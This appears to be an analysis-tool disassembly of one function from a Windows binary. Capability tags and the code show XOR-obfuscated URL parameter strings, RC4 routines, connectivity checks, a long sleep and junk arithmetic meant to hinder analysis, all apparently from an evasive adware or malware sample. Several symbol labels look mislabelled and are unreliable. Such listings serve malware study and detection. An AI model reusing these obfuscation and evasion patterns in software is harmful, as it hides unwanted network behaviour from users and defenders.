Function at 0x45a6f0
Capabilities:
Check internet connectivity via wininet
Encode data using xor
Encrypt data using rc4 ksa
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
mov eax, dword [0x52bd60]
xor eax, esp
mov dword [esp + 0x1a0], eax
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
push 0
call fcn.004b6d23
add esp, 4
push eax
call fcn.004b599e
add esp, 4
lea ecx, [esp + 0xc]
push esi
call fcn.004036e0
mov eax, dword [eax]
cmp dword [eax - 0xc], 0
jl 0x45a743
push str._nftest
push eax
call fcn.004b5027
add esp, 8
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
or edi, 0xffffffff
lea ecx, [edx + 0xc]
mov eax, edi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x45a763
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov eax, dword [0x52b6d0]
mov ecx, 0x52b6d0
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
push ecx
add eax, 0x10
mov ecx, esp
push str.cb96859380859085d9
mov dword [esp + 0x1c], eax
call fcn.004036e0
lea ecx, [esp + 0x40]
call fcn.00433390
mov eax, dword [eax]
add esp, 4
lea ecx, [esp + 0x10]
push esi
mov dword [esp + 0x10], eax
call fcn.004036e0
mov ecx, dword [esp + 0xc]
mov ebx, eax
test ecx, ecx
jne 0x45a7af
or eax, 0xffffffff
jmp 0x45a7d3
mov eax, dword [ebx]
cmp dword [eax - 0xc], 0
jge 0x45a7bc
or eax, 0xffffffff
jmp 0x45a7d3
push ecx
push eax
call fcn.004b5027
add esp, 8
test eax, eax
jne 0x45a7cf
or eax, 0xffffffff
jmp 0x45a7d3
sub eax, dword [ebx]
sar eax, 1
mov edx, dword [esp + 0x10]
test eax, eax
setns bl
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45a7f5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0x3c]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45a812
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
test bl, bl
je 0x45a84c
push esi
lea ecx, [esp + 0x10]
call fcn.004036e0
lea edx, [esp + 0x14]
lea ecx, [esp + 0xc]
call fcn.0045a3e0
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45a87a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
jmp 0x45a87a
test esi, esi
jne 0x45a854
xor ecx, ecx
jmp 0x45a86f
mov ecx, esi
lea edx, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x45a860
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [esp + 0x1c]
call fcn.004046b0
push str._url
lea ecx, [esp + 0x10]
call fcn.004036e0
lea eax, [esp + 0xc]
push eax
lea edx, [esp + 0x18]
lea ecx, [esp + 0x40]
call fcn.00432eb0
mov edx, dword [eax]
mov esi, dword [0x530bf4]
lea ecx, [edx - 0x10]
add esi, 0xfffffff0
add esp, 4
cmp ecx, esi
je 0x45a8f6
cmp dword [esi + 0xc], 0
lea ebx, [esi + 0xc]
jl 0x45a8e8
mov eax, dword [ecx]
cmp eax, dword [esi]
jne 0x45a8e8
call fcn.00404770
mov dword [esp + 0x10], eax
mov ecx, edi
lock xadd dword [ebx], ecx
dec ecx
test ecx, ecx
jg 0x45a8de
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + reloc.kernel32.dll_IsBadStringPtrA]
mov eax, dword [esp + 0x10]
add eax, 0x10
mov dword [0x530bf4], eax
jmp 0x45a8f6
push dword [edx - 0xc]
mov ecx, 0x530bf4
push edx
call fcn.004046b0
mov edx, dword [esp + 0x3c]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45a913
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45a930
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov eax, dword [0x530bf4]
cmp dword [eax - 0xc], 0
jne 0x45a974
mov ecx, dword [0x530408]
lea eax, [ecx + 1]
imul eax, ecx
cdq
mov ecx, reloc.kernel32.dll_CreateFileMappingW
idiv ecx
cmp edx, 5
jne 0x45a96a
call fcn.004b597b
mov ecx, dword [0x530408]
cmp ecx, eax
jne 0x45a96a
dec ecx
mov dword [0x530408], ecx
mov ebx, 1
jmp 0x45b552
push ecx
mov ecx, esp
push str.cb8196968b9697808b89858d8ad9
call fcn.004036e0
lea ecx, [esp + 0x14]
call fcn.00433390
add esp, 4
lea edx, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
call fcn.00432eb0
add esp, 4
mov ecx, 0x530bfc
push eax
call fcn.00403840
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45a9c6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45a9e3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
push ecx
mov ecx, esp
push str.cb9790859097808b89858d8ad9
call fcn.004036e0
lea ecx, [esp + 0x14]
call fcn.00433390
add esp, 4
lea edx, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
call fcn.00432eb0
add esp, 4
mov ecx, 0x530bf8
push eax
call fcn.00403840
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45aa35
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45aa52
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
push ecx
mov ecx, esp
push str.cb898b8a81908d9e85908d8b8a808b89858d8ad9
call fcn.004036e0
lea ecx, [esp + 0x14]
call fcn.00433390
add esp, 4
lea edx, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
call fcn.00432eb0
add esp, 4
mov ecx, 0x530c2c
push eax
call fcn.00403840
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45aaa4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45aac1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
push ecx
mov ecx, esp
push str.cb868d87d9
call fcn.004036e0
lea ecx, [esp + 0x14]
call fcn.00433390
add esp, 4
lea edx, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
call fcn.00432eb0
add esp, 4
mov ecx, 0x530c00
push eax
call fcn.00403840
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45ab13
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45ab30
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
push ecx
mov ecx, esp
push str.cb9281968d828d8196d9
call fcn.004036e0
lea ecx, [esp + 0x14]
call fcn.00433390
add esp, 4
lea edx, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
call fcn.00432eb0
add esp, 4
mov ecx, 0x530c04
push eax
call fcn.00403840
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45ab82
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45ab9f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
push ecx
mov ecx, esp
push str.cb8d8a97908588888196928196978d8b8ad9
call fcn.004036e0
lea ecx, [esp + 0x14]
call fcn.00433390
add esp, 4
lea edx, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
call fcn.00432eb0
add esp, 4
mov ecx, 0x530c08
push eax
call fcn.00403840
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45abf1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45ac0e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
push ecx
mov ecx, esp
push str.cb8594948d80d9
call fcn.004036e0
lea ecx, [esp + 0x14]
call fcn.00433390
add esp, 4
lea edx, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
call fcn.00432eb0
add esp, 4
mov ecx, 0x530c10
push eax
call fcn.00403840
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45ac60
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45ac7d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
push ecx
mov ecx, esp
push str.cb9796878d80d9
call fcn.004036e0
lea ecx, [esp + 0x14]
call fcn.00433390
add esp, 4
lea edx, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
call fcn.00432eb0
add esp, 4
mov ecx, 0x530c14
push eax
call fcn.00403840
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45accf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45acec
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
push ecx
mov ecx, esp
push str.cb87969681838a858981d9
call fcn.004036e0
lea ecx, [esp + 0x14]
call fcn.00433390
add esp, 4
lea edx, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
call fcn.00432eb0
add esp, 4
mov ecx, 0x530c18
push eax
call fcn.00403840
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45ad3e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45ad5b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
lea ecx, [esp + 0xc]
call fcn.00459c90
push eax
mov ecx, 0x530c0c
call fcn.00403840
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45ad8c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
push ecx
mov ecx, esp
push reloc.kernel32.dll_SetNamedPipeHandleState
call fcn.004036e0
lea ecx, [esp + 0x14]
call fcn.00433390
add esp, 4
lea edx, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
call fcn.00432eb0
add esp, 4
mov ecx, 0x530c20
push eax
call fcn.00403840
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45adde
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45adfb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
push ecx
mov ecx, esp
push str.cb8b8a8196968b96819c81d9
call fcn.004036e0
lea ecx, [esp + 0x14]
call fcn.00433390
add esp, 4
lea edx, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
call fcn.00432eb0
add esp, 4
mov ecx, 0x530c28
push eax
call fcn.00403840
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45ae4d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45ae6a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
push 7
push str.1.1.1.5
mov ecx, 0x530c1c
call fcn.004046b0
lea ecx, [esp + 0xc]
call fcn.004584e0
push eax
mov ecx, 0x530c24
call fcn.00403840
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45aeac
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
push ecx
mov ecx, esp
push str.cb948b9790948b8a81808c8b919697d9
mov dword [esp + 0x64], 0
call fcn.004036e0
lea ecx, [esp + 0x10]
call fcn.00433390
add esp, 4
lea edx, [esp + 0x14]
push eax
lea ecx, [esp + 0x60]
call fcn.00432eb0
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
add esp, 4
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45aefb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DefWindowProcW]
lea eax, [esp + 0x60]
push eax
mov dword [esp + 0x64], 8
mov dword [esp + 0x68], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
shr edx, 6
mov eax, 0x88888889
mul edx
xor al, al
movzx eax, al
shr edx, 5
mov ecx, 1
cmp edx, 2
cmovb eax, ecx
mov dword [esp + 0x60], eax
push 0
lea eax, [esp + 0xb4]
push eax
lea eax, [esp + 0xb4]
push eax
mov dword [esp + 0xbc], ecx
mov dword [esp + 0xc0], 0
mov dword [esp + 0xc4], 0
mov dword [esp + 0xc8], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
sub esp, 0xc
call fcn.0045cc90
call fcn.0040b510
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov eax, dword [0x530c48]
add eax, 0x10
push eax
mov dword [esp + 0x78], 0x519c04
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
mov dword [esp + 0x90], 0
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, dword [0x530bec]
push 4
mov ecx, dword [esi + 8]
inc ecx
push ecx
push dword [esi]
mov ebx, eax
call fcn.004b5595
add esp, 0xc
test eax, eax
je 0x45b069
mov dword [esi], eax
mov eax, dword [esi + 8]
push 4
inc eax
push eax
push dword [esi + 4]
call fcn.004b5595
add esp, 0xc
test eax, eax
je 0x45b069
mov dword [esi + 4], eax
mov eax, dword [esi + 8]
lea ecx, [eax*4]
mov eax, dword [esi]
add eax, ecx
je 0x45b059
mov dword [eax], ebx
mov eax, dword [esi + 4]
add eax, ecx
je 0x45b066
lea ecx, [esp + 0x74]
mov dword [eax], ecx
inc dword [esi + 8]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x52b6d0]
push ecx
mov ecx, 0x52b6d0
mov esi, 0x1d4c0
mov dword [esp + 0x44], 0
mov ebx, esp
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
add eax, 0x10
mov dword [ebx], eax
mov eax, str.cb869693978c908b8997d9
test eax, 0xffff0000
jne 0x45b0c0
movzx ecx, ax
call fcn.00405530
test eax, eax
je 0x45b0ce
mov edx, str.cb869693978c908b8997d9
movzx ecx, dx
push ecx
push eax
mov ecx, ebx
call fcn.00404a70
jmp 0x45b0ce
push reloc.kernel32.dll_OpenEventW
push str.cb869693978c908b8997d9
mov ecx, ebx
call fcn.004046b0
lea ecx, [esp + 0x10]
call fcn.00433390
add esp, 4
lea edx, [esp + 0x14]
push eax
lea ecx, [esp + 0x44]
call fcn.00432eb0
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
add esp, 4
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45b108
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov eax, dword [esp + 0x40]
cmp dword [eax - 0xc], 0
je 0x45b127
push eax
call fcn.004b794b
mov esi, eax
mov eax, 0x1d4c0
add esp, 4
cmp esi, eax
cmova esi, eax
mov eax, dword [0x52b6d0]
mov ecx, 0x52b6d0
mov dword [esp + 0xc4], 0
mov dword [esp + 0xd4], 0
mov dword [esp + 0xd8], 0
mov dword [esp + 0x11c], 0
mov dword [esp + 0x120], 0
mov dword [esp + 0x124], 0
mov dword [esp + 0x128], 0
mov dword [esp + 0x12c], 0
mov dword [esp + 0x130], 0
mov dword [esp + 0x138], 0
mov dword [esp + 0x13c], 0
mov dword [esp + 0x140], 0
mov dword [esp + 0x144], 0
mov dword [esp + 0x14c], 0
mov dword [esp + 0x170], 0
mov dword [esp + 0x174], 0
mov dword [esp + 0x17c], 0
mov dword [esp + 0x184], 0
mov dword [esp + 0x188], 0
mov dword [esp + 0x18c], 0
mov dword [esp + 0x1a4], 0
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
add eax, 0x10
mov dword [esp + 0x10], eax
mov eax, str.notificationMain
test eax, 0xffff0000
jne 0x45b249
movzx ebx, ax
mov ecx, ebx
call fcn.00405530
test eax, eax
je 0x45b259
push ebx
push eax
lea ecx, [esp + 0x18]
call fcn.00404a70
jmp 0x45b259
push reloc.kernel32.dll_GetUserDefaultLangID
push str.notificationMain
lea ecx, [esp + 0x18]
call fcn.004046b0
mov eax, dword [0x52b6d0]
mov ecx, 0x52b6d0
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
add eax, 0x10
mov dword [esp + 0x3c], eax
mov eax, str.1.1.1.5
test eax, 0xffff0000
jne 0x45b294
movzx ebx, ax
mov ecx, ebx
call fcn.00405530
test eax, eax
je 0x45b2a4
push ebx
push eax
lea ecx, [esp + 0x44]
call fcn.00404a70
jmp 0x45b2a4
push 7
push str.1.1.1.5
lea ecx, [esp + 0x44]
call fcn.004046b0
push ecx
lea eax, [esp + 0x14]
push eax
push esi
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0xd4]
call fcn.00436a90
mov edx, dword [esp + 0x3c]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45b2de
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45b2fb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
lea ecx, [esp + 0xc0]
call fcn.00438460
test al, al
jne 0x45b586
mov eax, dword [0x52b6d0]
mov ecx, 0x52b6d0
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
add eax, 0x10
mov dword [esp + 0xc], eax
mov eax, str.init_fail
test eax, 0xffff0000
jne 0x45b34a
movzx esi, ax
mov ecx, esi
call fcn.00405530
test eax, eax
je 0x45b35a
push esi
push eax
lea ecx, [esp + 0x14]
call fcn.00404a70
jmp 0x45b35a
push 9
push str.init_fail
lea ecx, [esp + 0x14]
call fcn.004046b0
mov eax, dword [0x52b6d0]
mov ecx, 0x52b6d0
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
add eax, 0x10
mov dword [esp + 0x3c], eax
mov eax, str._tWinMain
test eax, 0xffff0000
jne 0x45b395
movzx esi, ax
mov ecx, esi
call fcn.00405530
test eax, eax
je 0x45b3a5
push esi
push eax
lea ecx, [esp + 0x44]
call fcn.00404a70
jmp 0x45b3a5
push 9
push str._tWinMain
lea ecx, [esp + 0x44]
call fcn.004046b0
mov eax, dword [0x52b6d0]
mov ecx, 0x52b6d0
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
add eax, 0x10
mov dword [esp + 0x10], eax
mov eax, str.notificationCenter
test eax, 0xffff0000
jne 0x45b3e0
movzx esi, ax
mov ecx, esi
call fcn.00405530
test eax, eax
je 0x45b3f0
push esi
push eax
lea ecx, [esp + 0x18]
call fcn.00404a70
jmp 0x45b3f0
push reloc.kernel32.dll_SetSystemTime
push str.notificationCenter
lea ecx, [esp + 0x18]
call fcn.004046b0
push 0
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x1c]
push eax
mov ecx, 0x530768
call fcn.004018b0
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45b428
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0x3c]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45b445
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov edx, dword [esp + 0xc]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45b462
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
lea ecx, [esp + 0xc0]
call fcn.00436eb0
mov edx, dword [esp + 0x40]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45b48b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov eax, dword [esp + 0x84]
test eax, eax
je 0x45b4aa
push eax
call fcn.004b4d98
add esp, 4
mov dword [esp + 0x84], 0
mov eax, dword [esp + 0x78]
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
test eax, eax
je 0x45b4d1
push eax
call fcn.004b4d98
add esp, 4
or ebx, 0xffffffff
mov eax, dword [0x530c28]
cmp dword [eax - 0xc], 0
je 0x45b535
cmp dword [0x530524], 2
jne 0x45b503
cmp ebx, 0x3e8
je 0x45b503
push 0x512960
push str._brwtype
lea ecx, [esp + 0x1c]
call fcn.00403900
push ecx
mov ecx, dword [esp + 0x18]
add ecx, 0xfffffff0
mov esi, esp
call fcn.00404770
add eax, 0x10
push ecx
mov dword [esi], eax
mov ecx, dword [0x530c28]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.00404770
add eax, 0x10
mov dword [esi], eax
call fcn.004324d0
add esp, 8
mov edx, dword [esp + 0x5c]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45b552
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov esi, dword [esp + 0x14]
add esi, 0xfffffff0
lea eax, [esi + 0xc]
lock xadd dword [eax], edi
dec edi
test edi, edi
jg 0x45b56d
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + reloc.kernel32.dll_IsBadStringPtrA]
mov ecx, dword [esp + 0x1ac]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.004b4591
mov esp, ebp
pop ebp
ret 0x10
cmp byte [esp + 0x60], 0
je 0x45b625
push 0x1d4c0
mov dword [0x53055c], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x530408]
mov eax, esi
imul eax, esi
cdq
mov ecx, reloc.kernel32.dll_AssignProcessToJobObject
idiv ecx
cmp edx, 7
jne 0x45b5f9
mov eax, 0x51eb851f
imul esi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0x64
sub esi, ecx
xor ecx, ecx
lea eax, [esi + 0x7b]
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004b3d60
add esp, 4
push eax
call fcn.004b4e1b
add esp, 4
mov ebx, dword [sym.imp.WININET.dll_InternetGetConnectedState]
xor esi, esi
push 0
lea eax, [esp + 0x64]
push eax
mov dword [esp + 0x68], 0
call ebx
test eax, eax
jne 0x45b6e4
inc esi
cmp esi, 2
jl 0x45b601
jmp 0x45b462
mov esi, dword [0x530408]
mov ecx, reloc.kernel32.dll_OpenEventW
lea eax, [esi + 1]
imul eax, esi
cdq
idiv ecx
cmp edx, 0xb
jne 0x45b6c7
xor edx, edx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, esi
mov eax, edx
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, esi
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, esi
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
sar eax, 1
not ecx
and ecx, esi
xor ecx, eax
mov eax, ecx
and eax, 1
